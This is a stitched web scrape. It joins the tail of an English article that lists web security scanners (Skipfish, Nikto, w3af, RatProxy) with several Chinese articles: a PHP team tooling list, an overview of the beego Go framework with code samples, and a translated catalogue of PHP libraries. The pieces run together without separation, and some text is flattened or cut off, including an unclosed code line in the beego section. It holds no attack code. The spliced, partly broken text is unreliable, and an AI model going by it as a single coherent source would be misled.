wrote the famous "john the ripper" password-cracking tool (the successor of Jack the ripper ;). If you want to know more on passwords, the home page of the library contains links toward technical articles and a few advanced recommendations.
Useful Tools
¶
There are several tools that can detect potential security breaches in your application. First, some web security scanners:
Skipfish. Well-documented, powerful and easy to run. Like any other scanner, it will detect some false-positive issues, be careful when interpreting.
Nikto. This is probably the most well-known.
W3af, Web Application Attack and Audit Framework. This is a package of security tools with a common interface. It has both a CLI and GUI. It comes with an extensive documentation.
Then a scanner of a different type:
RatProxy. This open-source tool is a proxy that will analyze your traffic to find potential security problems.
There are many other security tools, but this should be more than enough for any beginner. And if you're experimented enough with web security, please contribute!
LNMPS PHP 团队开发 需要用到的相关工具(2016年11月更新)
LNMPS:LINUX+Nginx+Mysql+PHP+elasticsearch+redis
作者:风来了.fox
1.标准化
工具
代码(规范、格式等等) (PSR-2、PSR-4规范)
文档
人员
等等标准化,统一使用一种格式
统一开发环境
lnmp团队开发环境docker http://blog.csdn.net/fenglailea/article/details/53119285
lnmp服务器套件 http://www.lanmps.com/
2.工具
js框架:Jquery 统一jquery版本
js框架
JQuery上传插件:uploadify,zyupload
JQuery表单验证:Validform
省市区插件:city-picker
弹出层:artDialog
日期时间插件:My97 DatePicker
富文本编辑器:百度编辑器UEditor
前端整合框架:bootstrap (我们主要用于后台)
PHP版本:PHP7.X
数据库版本:MariaDB 10.1.x(mysql分支),mysql 5.7
缓存: redis
PHP框架选择:(Yii、CakePHP、CodeIgnitor、ThinkPHP等等)
PHP开发工具:phpStorm
PHP调试工具:Xdebug 、Socket 和 手工调试
数据库管理工具:Navicat Premium,phpmyadmin
文件代码对比工具:BCompare
文本编辑器:Notepad++,sublime text3,Visual Studio Code
服务器:Centos,Ubuntu
SSH工具:XShell ,zoc7
FTP工具:XFtp,flashfxp,Transmit
api接口管理工具:https://www.zhihu.com/question/30434095
Host解析:SwitchHosts
浏览器:chrome,firefox
浏览器插件:WEB前端助手(FeHelper),Host Switch
抓包工具:Fiddler,Charles,Wireshark
数据库建模 UML
流程图:百度脑图,微软流程图,processon,
本地开发环境ubuntu/MAC:lanpms套件(http://www.lanmps.com/),docker(http://blog.csdn.net/fenglailea/article/details/53119285)
开发服务器环境 :lanmps套件 项目统一测试环境和正式环境一样, 开启错误日志显示
正式服务器测试环境 :lanmps套件 项目在发布到正式环境前,最后一次测试,关闭错误日志显示
本地私有云:ownCloud,seafile
测试工具:soapui
单元测试:phpunit
代码检查: 各个代码库基本上都自带
压力测试:(jmeter+badboy)、LoadRunner,functional test,FunkLoad,Tsung,阿里云性能测试,wetest(腾讯云测)
自动化测试:UI Recorder(阿里)
3.搜索
mysql sql like搜索满足不了项目需要,所以这里使用
elasticsearch
4.版本库
GIT 开源,免费分布式版本控制系统,适合中大型团队开发 (我们使用的 Gitblit,阿里云code ,gogs)
SVN 开放源码的版本控制系统
4.1 git 客户端工具
sourcetree
5.自动化部署
jenkins 配合 SVN或GIT 使用,配置自动化部署,备份,恢复
阿里CRP
6.服务器监控通知
监控工具(Nagios,监控宝等等)
通告工具(百度通告平台)
监控、通告工具介绍:http://blog.csdn.net/sylcc_/article/details/40475097
zabbix,Nagios,Ganglia,还有各种云监控
7.项目管理(测试用例、缺陷安排、日程安排等等)
jira :项目于事务跟踪工具 ,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
confluence: 可以配合jira使用,类似 于博客文档工具
禅道项目管理 :集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体,是一款功能完备的项目管理软件,完美地覆盖了项目管理的核心流程
我们使用的是 禅道
阿里云的项目管理
8.其他因素
多绿色
多美女
多活动
多风景
go| beego 速览
本来想做一期 beego源码解读 的, 不过作为 go 初学者, 代码量还没提上来前, 正应当多看多写, 做源码解读实在火候不够. 这里综合自己学习 beego 的一些感受:beego 官方文档beego demo融入到自己对 Web 应用框架 开发知识的积累中, 以期可以应用到自己参与的 开源项目 - Swoft 中.web framework 知识图谱: http://naotu.baidu.com/file/a045802b858c57c56c73dd2e7bda50b5?token=fccd16c1458c78bdModern High performance AOP and Coroutine PHP Framework - Swoft: https://github.com/swoft-cloud/swoft架构说架构的时, 往往会 面向业务 进行抽象, 所以经常看到的架构, 大抵都是 分层/分子系统, 一个又一个 豆腐块. web 应用其实相当 成熟 了, 需要哪些功能已经十分清楚. 这个时候, 也许更应该来关注代码.从图中可以看到, beego 架构很简单, 一言以蔽之: 组件化(或者说 模块化). 一个 web 应用, 其实就是 一组组件协同工作 的结果.Swoft1.0 的一大重要重构, 就是实现组件化. 目前在 PHP 框架中, 组件化实现最好的要算 laravel 和 symfony 了.PS: Swoft 的现状是一个组件一个 git 仓库. 更正规的方式是一个中央仓库(例如叫 framework), 所有的修改都是 fork/push 到这个仓库, 每次发版时, 中央仓库执行一个 build 脚本(使用 [https://github.com/dflydev/git-subsplit](https://github.com/dflydev/git-subsplit)) , 将 framework 下的代码推到不同的子项目仓库, 并且给每个组件仓库打一个统一的 tag. 最终所有的修改都在 framework 仓库, 组件仓库只读状态, 不接受 pr/push, 只接受 build 脚本的 split. 可以参考的 laravel 的 build 脚本: https://github.com/laravel/framework/blob/5.1/build/illuminate-split-full.sh组件化后, 可以明显减少重复造轮子, 更好的代码复用. 组件化其实很好的回答下面 2 个问题:依赖如何管理如何分享代码生命周期快速上手一个框架, 优先关注生命周期, 了解代码的执行逻辑.beego 框架生命周期: 启动应用(app) -> 一次请求进来 -> 路由(route) -> 过滤器(filter, 有的框架使用 Middleware, 作用相同) -> 控制器(Controller) -> 和各模块交互 -> 返回(response)一次请求的生命周期: context(请求上下文) -> 路由(Route, 静态文件/动态) -> 路由匹配(fixed/regex/auto) -> filter -> Controller(和各模块交互) -> filter -> 返回(response)PS: beego 中 module 意为 组件, 而在 yii 框架中, module 意为 模块, 包含一个完整的 MVC 应用, 而组件用的单词为 component. yii 的项目中是可以存在多个 module 的, 即 一个项目多个应用. 可想而知, yii 这样的功能, 最终会导致一个 超大规模的项目.app & contextapp 通常作为整个应用的抽象. PHP框架中的常见划分是 web应用 和 console应用. 不过和传统 PHP 框架最大的不同是, 传统 fpm 多进程模式下, 每次请求都需要初始化一次应用. 而在 beego 和 Swoft 下, 应用是常驻内存的, 只需要启动时初始化一次 app 即可.这也就造成了很多使用 fpm 的 PHPer 不知道 context 这个概念. context, 请求上下文, 包含一次请求的 request/response. 因为 fpm 是多进程的, 每次请求都是独立在每个进程中并且重新初始化一次应用. beego 或 Swoft 只初始化一次 app, 所以需要 context 来作为每次请求的抽象. 这也是为什么传统框架中, PHPer 依然可以使用 $_GET/$_POST 等超全局变量, 而在 Swoft 这样基于 Swoole 的框架中, 必须使用框架提供的方法. 其实质就是对 context 封装.app 和 context 的分离, 其实可说是必然, 2 者有着不同的生命周期.围绕 web 请求Model-View-Controller 这样的架构可以说是 深入人心 了, 以至于不这样的 web应用, 还会不习惯. 现实中的 web应用, 当然不止 MVC 这三个模块.url 的解析url 的解析, 包含 2 个方向:从 url 到业务代码 -> 路由模块(route)反向生成 url -> URL build 模块路由模块相对复杂, 功能会多一些:在形式上, 支持 fixed/regex/auto 方式进行匹配, 匹配顺序 fixed -> regex -> auto支持 http method, 比如某个请求只允许 GET 请求支持 restfulnamespace, 命名空间, 比如版本控制, 一部分 url 都使用 v1/ 前缀, 另一部分使用 v2/ 前缀注解(annotation) 和 自动参数匹配(auto parameter)路由注解和自动参数匹配先看代码:// @router /tasks/:id [get]
func (c *TaskController) MyMethod(id int, field string) (map[string]interface{}, error) {
if u, err := getObjectField(id, field); err == nil {
return u, nil
} else {
return nil, context.NotFound
}
}
// 省去的路由代码
beego.Router("/task/:id", &TaskController{}, "get:MyMethod")
// 省去的获取参数(路由参数/请求参数)的代码
id := c.GetInt("id")
field := c.GetString("field")使用注解后, 就省去了在路由中的代码, 如果全局都使用注解, 就可以省去路由文件, Swoft 就是如此做的. 至此, 我们可以对比一下路由解析形式的 4 种方式:fixed: 所见即所得, 缺点是 url 太多了就需要写很多regex: 正则匹配, 不常用, 大部分也只用在路由参数的地方, 比如 /user/[\d]+/task/[\d]+auto: 自动匹配, yii 中就是使用这种方式, 约定 url 优先匹配 Controller + Action, laravel 中的也支持 Controller 级别的自动路由annotation: 注解, 既能保持代码的简洁, 又可以保留路由模块的灵活性所以我理想中的路由形式: 大部分可以直接自动匹配, 少部分的特殊需求使用注解, 独立的路由文件可有可无.路由中使用注解, 要遵守 约定大于配置 的思想. 比如上面的示例改成这样:// @router /mission/:id [get]
func (c *TaskController) MyMethod(id int, field string) (map[string]interface{}, error) {
if u, err := getObjectField(id, field); err == nil {
return u, nil
} else {
return nil, context.NotFound
}
}原来我只需要使用 IDE 的文件查找功能, 查找类似 TaskController 的文件, 现在就得先全局搜索 /mission, 再根据搜索结果定位到代码.自动参数匹配比较适合在参数比较少的时候使用, 这个就看个人编码习惯了, 加一个参数可以少写一行代码, 这个功能还是有必要支持的.restfulrestful 是现在比较流行的一种软件架构风格/设计风格. 以资源为核心, 配合 http method(GET/POST/PUT/DELETE) 进行资源的管理.不过现实是大部分情况下, 大家只用 GET/POST. 面对业务进行设计的时, 也很少会 以资源为核心, 怎么简单怎么来或者说怎么快怎么来. 而且要发起 PUT 请求, 你需要这样的表单:<form method="post" ...>
<input type="hidden" name="_method" value="put" />
...
</form>虽然现在 restful 很流行, 很多框架也都标榜 轻松 就可以实现. 是否需要用, 还是自己判断.URL Buildingbeego 中使用 URL Building 来反向生成 url, 比如:// route
beego.Router("/api/list", &TestController{}, "*:List")
beego.Router("/person/:last/:first", &TestController{})
beego.AutoRouter(&TestController{})
// URL Building
URLFor("TestController.List") // Output /api/list
URLFor("TestController.Get", ":last", "xie", ":first", "asta") // Output /person/xie/asta
URLFor("TestController.Myext") // Output /Test/Myext
URLFor("TestController.GetUrl") // Output /Test/GetUrl其他框架可能会使用 url() route(), 一个表示 url, 一个表示 route(路由), 不过我倾向于 简单点, 只用 url. 虽然有些时候用 route 来表达(比如 restful) 会简单一些.其他 web 相关服务一览Form validation: 参数校验, 这个模块主要解决一些常用的参数校验, 比如 e-mail, 金额等response format: 返回值格式, 常见的有 html(view) json xml jsonp. Swoft 中推荐 返回的格式类型, 不应该由服务端指定, 而是根据客户端请求时的 Header 里面的 Accept 决定, 控制器中只用返回数据, 框架自动进行格式转换view: 视图, beego 中包含 2 个功能, 模板引擎(temple) 和 分页(pagination). 模板引擎方便组织前端代码, 这样 Controller 中只要返回数据即可; 分页也是常见的功能, yii/laravel 在这方面做得很极致, 不仅有分页, 还有其他页面相关的组件Filters: 过滤器, 其他框架中可能使用 Middleware(中间件), 功能类似, 其实就是将一部分功能从业务中隔离, 比如网站开启维护状态, user authentication, log visiting, compatibility switching.Flash Messages: 一次性通知消息, 其实是一次性的 消息 - 订阅 功能, 比如页面上通知操作成功Error Handling: 错误处理, 在 web 请求中, 通常配合 http code + redirect + error pageSession: session/cookie 其实很简单, 无论什么框架, 变来变去就那么几个方法, 更重要的是知道 -- 有什么用; 有哪些方法; 使用不同的驱动Model简单说: 如何和数据打交道. 其实上面的 session / cookie / flash message 等, 都在不同场合下和数据打交道, 这里讲讲数据更原始的地方:和关系型数据库打交道, 如 mysql和文档型数据库打交道, 如 MongoDB和键值型数据库打交道, 如 redis, 通常用作缓存, 也可用作 session主要说一下和关系型数据库打交道, 通常涉及一下几个方面:对数据库连接进行抽象, 这样可以方便 切换数据库, 切换主从 等对数据的抽象, 比如一个 Model 类对一个张数据表, 从而方便的实现 CRUD 功能对 sql 语句的抽象: raw, 支持原生语句的执行; QuerySeter, 对 sql 原语的抽象, 比如 > = < like 等操作符; queryBuilder, 拼接 sql 语句支持数据库事务(transaction), 要注意事务的写法, 如果发生嵌套如何写// beego 中的 transaction
o := NewOrm()
err := o.Begin()
// transaction process
...
...
// All the query which are using o Ormer in this process are in the transaction
if SomeError {
err = o.Rollback()
} else {
err = o.Commit()
}支持表的关联(relation), 比如在 yii 中, 只要定义一个方法, 就可以在查询当前表时, 将关联表的数据, 自动赋值给当前表对象的属性中// beego 中的 relation
type Post struct {
Id int `orm:"auto"`
Title string `orm:"size(100)"`
User *User `orm:"rel(fk)"`
}
var posts []*Post
qs := o.QueryTable("post")
num, err := qs.Filter("User__Name", "slene").All(&posts更多 more想要做好一个框架, 还需要在很多地方下功夫.配置管理beego 的配置模块非常简单易用:单层配置, 没有复杂的嵌套, 如果希望嵌套, 也推荐 db.user / db.password 这样用统一分隔符的写法对不同环境支持通过 include 关键字, 加载其他配置文件不同格式(format)支持: ini / xml / yaml / json配置的划分: basic/app/web/http/session/log. 配置的划分, 在一定程度上提现了架构的设计和模块的划分. 一个的好的框架, 只需要简单的修改配置, 就可以实现不同的功能. 推荐好好看一下配置.安全安全也是框架必须提供的功能之一, 一个原因是很多人可能没有积累这一块的知识. 不过安全相关的功能, 通常是散落在框架之中:csrf(xsrf): 非 GET 请求要注意是否开启 XSRF 防护. 开启则需要给表单或者 ajax 请求中添加 csrf tokensql 注入: 使用参数绑定即可解决, 要注意在写 原生 sql 时是否可能导致 sql 注入还有很业务关联性比较强的:图片验证码手机验证码防刷其他更多安全的内容, 可以参考 laravel/yii 框架的官方文档, 平时也要注意积累这方面的知识.日志日志也是必备功能, 做好日志, 既可以方便了解系统运行状态, 也方便在出问题的时候还原问题发生的轨迹.用法: 日志通常是全局可用, 一般简单的 Log::info($message) 即可日志级别: log level, 标准给日志划分了很多级别, 但实际中, 通常开始都使用简单的划分, info 记录信息, error 需要马上处理日志输入: output, 可以将日志输出到不同地方yii 框架中日志功能更加精细, 包含 logger - dispatch - target 三个角色, 同时日志在 level 的基础上, 还可以细分 category / tag 等. 另外日志可能还需要有的功能:flush, 刷新, 比如 1000 条后再输出(落地). 缓冲(buffer) 的思想可以说在系统设计中比比皆是.切片, 比如说日志按照时间日切, 或者按照大小 10m 一切其他Live Monitor: 实时监控热更新: 一方面是开发过程中, 如果修改后就需要去喝杯咖啡, 效率就可想而知了, 在传统 fpm 下, 不用担心这个问题, 但是在应用常驻内存情况下, 或者像 go 这样需要编译后运行, 就很有必要做好热更新了; 另一方面是上线, 传统 fpm 是进程逐步重启, Swoft 基于 Swoole, 也支持这样的机制, beego 这部分还在开发中文档: 可以编辑(支持 github 更好); 支持上一页/下一页; 支持文档总目录, 支持当前文档目录(TOC); 支持搜索功能. 当然, 功能之外还需要美观, beego 目前支持的功能不多, Swoole 和 Swoft 文档功能支持还不错api doc: 自动生成 api 文档, beego 使用的 swagger, 简单且功能满足大部分场景辅助工具(命令行工具): beego 提供了 bee 工具, 可以用来快速生成空项目, 生成代码. 类似工具 laravel/yii 框架都有支持, Swoft 则正在完善这部分i18n: 国际化, 使用和实现上都简单CI, 目前 github 上的开源项目, 基本都在使用 travis CI, 可以参考项目下的 .travis.yml 文件, 也可以使用 gitlab Jenkins 等开源工具进行集成deploy: 发布, go 程序复制编译的可执行文件即可. 不过推荐还是使用 docker其他可以做的, 还有很多, 比如:添加 demo, 学习完文档后可以练手toolbox / util 等更多辅助功能第三方(third-part)功能集成
推荐!国外程序员整理的 PHP 资源大全
推荐!国外程序员整理的 PHP 资源大全
2014/08/02 · PHP, 工具与资源 · 8.5K 阅读 · 1 评论 · php
分享到:0
与《YII框架》不得不说的故事—安全篇
R语言入门
HTML5离线应用实战演练
JS插件开发之LightBox图片画廊(上)
本文由 伯乐在线 - cucr 翻译,黄利民 校稿。未经许可,禁止转载!英文出处:github.com。欢迎加入翻译组。
ziadoz 在 Github 发起维护的一个 PHP 资源列表,内容包括:库、框架、模板、安全、代码分析、日志、第三方库、配置工具、Web 工具、书籍、电子书、经典博文等等。
依赖管理
依赖和包管理库
Composer/Packagist:一个包和依赖管理器
Composer Installers:一个多框架Composer库安装器
Pickle:一个PHP扩展安装器
其他的依赖管理
其他的相关依赖管理
Satis:一个静态Composer存储库生成器
Composition:一个在运行时检查Composer环境的库
Version:语义版本的解析和比较库
NameSpacer -转化下划线到命名空间的库
Patch Installer -使用Composer安装补丁的库
Composer Checker -校验Composer配置的工具
框架
Web开发框架
Symfony2 -一个独立组件组成的框架
Zend Framework 2 -另一个由独立组件组成的框架
Laravel 4 -另一个PHP框架
Aura PHP -独立组件的框架
Yii2 - 另一个PHP框架
Nette - 另一个由个体组件组成的框架
PPI Framework 2 -一个互操作性框架
Phalcon -通过C扩展实现的框架
其他框架
其他Web开发框架
Symfony CMF - 创建自定义CMS的内容管理框架
Knp RAD Bundle -Symfony 2的快速应用程序(RAD)包
框架组件
来自web开发框架的独立组件
Symfony2 Components -Symfony2组件
Zend Framework 2 Components -ZF2组件
Aura Components -PHP5.4组件包
Hoa Project -另一个PHP组件包
微型框架
微型框架和路由
Silex - 基于Symfony2组件的微型框架
Slim - 另一个简单的微型框架
Bullet PHP -用于构建REST APIs的微型框架
Fast Route - 快速路由库
Pux -另一个快速路由库
其他微型框架
其他相关的微型框架和路由
Silex Skeleton -Silex的项目架构
Silex Web Profiler -Silex web调试工具条
Stack - Silex/Symfony的可堆叠中间件库
Slim Skeleton -Slim架构
Slim View -Slim的自定义视图集合
Slim Middleware -Slim的自定义中间件集合
模板
模板化和词法分析的库和工具
Twig -一个全面的模板语言
Twig Cache Extension -一个用于Twig的模板片段缓存库
Mustache -一个Mustache模板语言的PHP实现
Phly Mustache -另一个Mustache模板语言的PHP实现
MtHaml - 一个HAML 模板语言的PHP实现
PHPTAL -一个 TAL 模板语言的PHP实现
Plates -一个原生PHP模板库
Lex -一个轻量级模板解析器
静态站点生成器
预处理工具来生成web页面的内容。
Sculpin -转换Markdown和Twig为静态HTML的工具
Phrozn - 另一个转换Textile,Markdown和Twig为HTML的工具
HTTP
用于HTTP和网站爬取的库
Guzzle -一个全面的HTTP客户端
Buzz -另一个HTTP客户端
Requests -一个简单的HTTP库
HTTPFul -一个链式HTTP库
Goutte -一个简单的web爬取器
PHP VCR -录制和重放HTTP请求的库
URL
解析URL的库
Purl -一个URL处理库
PHP Domain Parser -一个本地前缀解析库
Email
发送和解析邮件的库
SwiftMailer - 一个邮件解决方案
PHPMailer - 另一个邮件解决方案
Fetch -一个IMAP库
Email Reply Parser -一个邮件回复解析库
Stampie -邮件服务库,不如 SendGrid, PostMark, MailGun 和 Mandrill.
CssToInlineStyles -一个在邮件模板内联CSS的库
文件
文件处理和MIME类型检测库
Gaufrette -一个文件系统抽象层
Flysystem - 另一个文件系统抽象层
Canal -一个检测互联网媒体类型的库
Apache MIME Types -一个解析Apache MIME类型的库
Ferret - 一个MIME检测库
Hoa Mime -另一个MIME检测库
Lurker -一个资源跟踪库
PHP File Locator -一个在大型项目定位文件的库
PHP FFmpeg -一个用于FFmpeg 视频包装的库.
CSV - 一个CSV数据处理库
Streams 流
处理流的库
Streamer - 一个面向对象的流包装库
Dependency Injection依赖注入
实现依赖注入设计模式的库
Pimple - 一个小的依赖注入容器
Auryn - 另一个依赖注入容器
Orno Di -另一个可伸缩的依赖注入容器
PHP DI -一个使用注释实现的依赖注入
Acclimate -一个依赖注入容器和服务定位的通用接口
Imagery 图像
处理图像的库
Imagine -一个图像处理库
PHP Image Workshop -另一个图像处理库
Intervention Image -另一个图像处理库
GIF Frame Extractor -一个提取GIF动画帧信息的库
GIF Creator - 一个通过多张图片创建GIF动画的库
Image With Text -一个在图像中嵌入文本的库
Color Extractor -一个从图像中提取颜色的库
Testing 测试
测试代码和生成测试数据的库
PHPUnit -一个单元测试框架
DBUnit -PHPUnit的数据库测试库
ParaTest - PHPUnit的并行测试库
PHPSpec -基于功能点设计的单元测试库
Codeception -一个全栈测试框架
AspectMock - PHPUnit/ Codeception 模拟框架。
Atoum -一个简单的测试库
Mockery -一个用测试的模拟对象库
Phake -另一个用测试的模拟对象库
Prophecy -一个可选度很高的模拟框架
Faker -一个伪数据生成库
Samsui - 另一个伪数据生成库
Alice -富有表现力的一代库
Behat -一个行为驱动开发(BDD)测试框架
Pho -一个行为驱动开发测试框架
Mink -Web验收测试
HTTP Mock - 一个在单元测试模拟HTTP请求的库
VFS Stream -一个用于测试的虚拟文件系统流的包装器
VFS -另一个用于测试虚拟文件系统
Locust -一个用Python编写的现代加载测试库
Continuous Integration 持续集成
持续集成的库和应用
Travis CI - 一个持续集成平台
PHPCI -一个PHP的开源持续集成平台
Sismo - 一个持续测试服务库
Jenkins一个 PHP 支持的持续集成平台
JoliCi - 一个用PHP编写的由Docker支持的持续集成客户端
Documentation 文档
生成项目文档的库
Sami -一个API文档生成器
APIGen -另一个API文档生成器
PHP Documentor 2 -一个API文档生成器
phpDox - 一个PHP项目的文档生成器(不限于API文档)
Security 安全
生成安全的随机数,加密数据,扫描漏洞的库
HTML Purifier -一个兼容标准的HTML过滤器
RandomLib -一个生成随机数和字符串的库
True Random -使用 www.random.org生成随机数的库
SecurityMultiTool -一个PHP安全库
PHPSecLib -一个纯PHP安全通信库
TCrypto -一个简单的键值加密存储库
PHP IDS - 一个结构化的PHP安全层
PHP SSH -一个试验的面向对象的SSH包装库
IniScan -一个扫描PHP INI文件安全的库
SensioLabs Security Check -一个为检查Composer依赖提供安全建议的web工具
Zed - 一个集成的web应用渗透测试工具
Passwords 密码
处理和存储密码的库和工具
Password Compat -一个新的PHP5.5密码函数的兼容库
phpass - 一个便携式的密码哈希框架
PHP Password Lib -一个生成和校验密码的库
Password Policy - 一个PHP和JavaScript的密码策略库
Password Validator - 校验和升级密码哈希的库
Zxcvbn PHP -一个基于Zxcvbn JS的现实的PHP密码强度估计库
Code Analysis 代码分析
分析,解析和处理代码库的库的工具
PHP Parser -一个PHP编写的PHP解析器
PHPPHP - 一个PHP实现的PHP虚拟机
PHPSandbox -一个PHP沙盒环境
Dissect -一个词法和语法分析的工具集合
PHP Mess Detector -一个扫描代码缺陷,次优代码,未使用的参数等等的库。
PHP Code Sniffer -一个检测PHP、CSS和JS代码标准冲突的库
PHPCPD - 一个检测复制和粘贴代码的库
PHP Analyser -一个分析PHP代码查找缺陷和错误的库
PHP CS Fixer - 一个编码标准库
PHP Manipulator -一个分析和修改PHP源代码的库
PHP Metrics -一个静态测量库
PHP Refactoring Browser -一个重构PHP代码的命令行工具集
UBench - 一个简单的微型基准检测库
Athletic -一个基于注释的基准检测库
Mondrian - 使用使用图论的代码分析工具
Scrutinizer -一个审查PHP代码的web工具
PHPLOC -一个快速测量PHP项目大小的工具
xHprof -另一个PHP分析工具
PHPCheckstyle -一个帮助遵守特定的编码惯例的工具。
Debugging 调试
调试代码的库和工具
xDebug -一个调试和分析PHP的工具
PHP Debug Bar - 一个调试工具栏
PHP Console -一个web调试控制台
Barbushin PHP Console -另一个使用Google Chrome的web调试控制台
PHPDBG - 一个交互的PHP调试器
Tracy -一个简单的错误检测,写日志和时间测量库
Build Tools 构建工具
项目构建和自动化工具
Go -一个简单的PHP构建工具
Bob - 一个简单的项目自动化工具
Phake -一个PHP克隆库
Box - 一个构建PHAR文件的工具
Phing -一个灵感来自于Apache Ant的PHP项目构建系统
Task Runners 任务运行器
自动运行任务的库
Task -一个灵感来源于Grunt和Gulp的纯PHP任务运行器
Robo -一个面向对象配置的PHP任务运行器
Bldr -一个构建在Symfony组件上的PHP任务运行器
Navigation导航
构建导航结构的工具
KnpMenu - 一个菜单库
Cartographer -一个站点地图生成库
Asset Management 资源管理
管理,压缩和最小化web站点资源的工具
Assetic - 一个资源管理的管道库
Pipe -另一个资源管理的管道库
Munee -一个资源优化库
JShrink -一个JavaScript最小化库
Puli - 一个检测资源绝对路径的库
Geolocation 地理位置
为地理编码地址和使用纬度经度的库。
GeoCoder -一个地理编码库
GeoTools -一个地理工具相关的库
PHPGeo -一个简单的地理库
GeoJSON -一个地理JSON的实现
Date and Time 日期和时间
处理日期和时间的库
Carbon - 一个简单的日期时间API扩展
ExpressiveDate -另一个日期时间API扩展
CalendR - 一个日历管理库
Event 事件
时间驱动或非阻塞事件循环实现的库
React -一个事件驱动的非阻塞I/O库
Rx.PHP - 一个reactive扩展库
Ratchet - 一个web套接字库
Hoa WebSocket -另一个web套接字库
Hoa EventSource -一个事件源库
Evenement -一个事件分发库
FuelPHP Event -另一个事件分发库
Logging 日志
生成和处理日志文件的库
Monolog - 一个全面的日志工具
KLogger -一个易用的PSR-3兼容的日志类
E-commerce 电子商务
处理支付和构建在线电子商务商店的库和应用
OmniPay -一个框架混合了多网关支付处理的库
Payum - 一个支付抽象库
Sylius - 一个开源的电子商务解决方案
Thelia -另一个开源的电子商务解决方案
Money - 一个Fowler金钱模式的PHP实现
Sebastian Money -另一个处理货币值的库
Swap -一个汇率库
PDF
处理PDF文件的库和软件
Snappy -一个PDF和图像生成器库
WKHTMLToPDF -一个将HTML转换为PDF的工具
Database 数据库
使用对象关系映射(ORM)或数据映射技术的数据库交互库
Doctrine -一个全面的DBAL和ORM
Doctrine Extensions -一个Doctrine行为扩展的集合
Propel - 一个快速的ORM,迁移库和查询构架器
Eloquent -Laravel 4 ORM
Baum -一个Eloquent的嵌套集实现
Spot2 -一个MySQL的ORM映射器
RedBean -一个轻量级,低配置的ORM
Pomm -一个PostgreSQL对象模型管理器
ProxyManager -一个为数据映射生成代理对象的工具集
Migrations 迁移
帮助管理数据库模式和迁移的库
PHPMig -另一个迁移管理库
Phinx - 另一个数据库迁移管理库
Migrations -一个迁移管理库
Doctrine Migrations -一个Doctrine迁移库
NoSQL
处理NoSQL后端的库
MongoQB -一个MongoDB查询构建库
Monga -一个MongoDB抽象库
Predis - 一个功能完整的Redis库
Queue 队列
处理事件和任务队列的库
Pheanstalk -一个Beanstalkd 客户端库
PHP AMQP -一个纯PHP AMQP库
Thumper - 一个RabbitMQ模式库
Bernard -一个多后端抽象库
Search 搜索
在数据上索引和执行查询的库和软件
ElasticSearch PHP -ElasticSearch的官方客户端库
Elastica -ElasticSearch的客户端库
Solarium -Solr的客户端库
SphinxQL query builder -Sphinx搜索引擎的的查询库
Command Line 命令行
构建命令行工具的库
Boris - 一个微型PHP REPL
PsySH - 另一个微型PHP REPL
Pecan -一个事件驱动和非阻塞内核
GetOpt - 一个命令行选择解析器
OptParse -另一个命令行选择解析器
Commando -另一个简单的命令行选择解析器
GetOptionKit -另一个命令行选择解析器
Cron Expression -计算cron运行日期的库
ShellWrap -一个简单的命令行包装库
Hoa Console -另一个命令行库
Shunt - 一个在多台远程机器上并行运行命令行的库
Cilex -一个构建命令行工具的微型框架
Authentication 身份验证
实现身份验证的库
Sentry -一个混合的身份验证和授权的框架库
Sentry Social -一个社交网络身份验证库
Opauth -一个多渠道的身份验证框架
OAuth2 -一个OAuth2身份验证服务,资源服务器和客户端库
OAuth2 Server -另一个OAuth2服务器实现
PHP oAuthLib -另一个OAuth库
TwitterOAuth -一个Twitter OAuth库
TwitterSDK -一个完全测试的Twitter SDK
Hawk -一个Hawk HTTP身份认证库
HybridAuth -一个开源的社交登陆库
Markup 标记
处理标记的库
Decoda -一个轻量级标记解析库
PHP Markdown -一个Markdown解析器
CommonMark PHP -一个对 CommonMark spec全支持的Markdown解析器
Dflydev Markdown -另一个Markdown解析器
Parsedown -另一个Markdown解析器
Ciconia - 另一个支持Github Markdown风格的Markdown解析器
Cebe Markdown -一个快速的可扩展的Markdown解析器
HTML5 PHP - 一个HTML5解析和序列化库
Strings 字符串
解析和处理字符串的库
ANSI to HTML5 -ANSI到HTML5的转化库
Patchwork UTF-8 -一个处理UTF-8字符串的便携库
Hoa String -另一个UTF-8字符串库
Stringy -一个多字节支持的字符串处理库
Color Jizz -处理和转换颜色的库
UUID - 生成UUIDs的库
Slugify -转换字符串到slug的库
Urlify - 一个Django的 URLify.jsPHP通道
Text - 一个文本处理库
SQL Formatter -一个格式化SQL语句的库
UA Parser - 一个解析用户代理字符串的库
Numbers 数字
处理数字的库
Numbers PHP -处理数字的库
Math -处理大数字的库
ByteUnits - 在二进制和度量系统中解析,格式化和转换字节单元的库
PHP Units of Measure -一个计量单位转换的库
PHP Conversion - 另一个计量单位转换的库
LibPhoneNumber for PHP -Google电话号码处理的PHP实现库
Filtering and Validation 过滤和验证
过滤和验证数据的库
Filterus - 一个简单的PHP过滤库
Respect Validate -一个简单的验证库
Valitron -另一个验证库
Upload - 一个处理文件上传和验证的库
DMS Filter - 一个注释过滤库
MetaYaml -一个支持YAML,JSON和XML的模式验证库
ISO-codes -验证各种ISO和ZIP编码的库(IBAN, SWIFT/BIC, BBAN, VAT, SSN, UKNIN)
REST和API
开发REST-ful API的库和web工具
Apigility -一个使用Zend Framework 2构建的API构建器
Hateoas -一个HOATEOAS REST web服务库
HAL -一个超文本应用语言(HAL)构建库
Negotiation -一个内容协商库
Drest -一个将Doctrine实体暴露为REST资源节点的库
Restler -一个将PHP方法暴露为RESTful web API的轻量级框架
Caching 缓存
缓存数据的库
Alternative PHP Cache (APC) - 打开PHP伪代码缓存
Cache -一个缓存库(Doctrine部分)
Stash -另一个缓存库
数据结构和存储
实现数据结构和存储技术的库
Ardent -一个数据结构库
PHP Collections - 一个简单的集合库
Serializer -一个序列化和反序列化数据的库
PHP Object Storage -一个对象存储库
Fractal -一个转换复杂数据结构到JSON输出的库
Totem -一个管理和穿件数据交换集的库
PINQ -一个PHP实时Linq库
JsonMapper -一个将内嵌JSON结构映射为PHP类的库
Notifications 通知
处理通知软件的库
Nod -一个通知库(Growl等)
Notificato - 一个处理推送通知的库
Notification Pusher -一个设备推送通知的独立库
Notificator -一个轻量级的通知库
Deployment 部署
项目部署库
Pomander -一个PHP应用部署工具
Rocketeer -PHP世界里的一个快速简单的部署器
Envoy -一个用PHP运行SSH任务的工具
Plum - 一个部署库
国际化和本地化
国际化(I18n)和本地化(L10n)
Aura.Intl
第三方API
访问第三方API的库
Amazon Web Service SDK - PHP AWS SDK官方库
S3 Stream Wrapper -Amazon S3流包装库
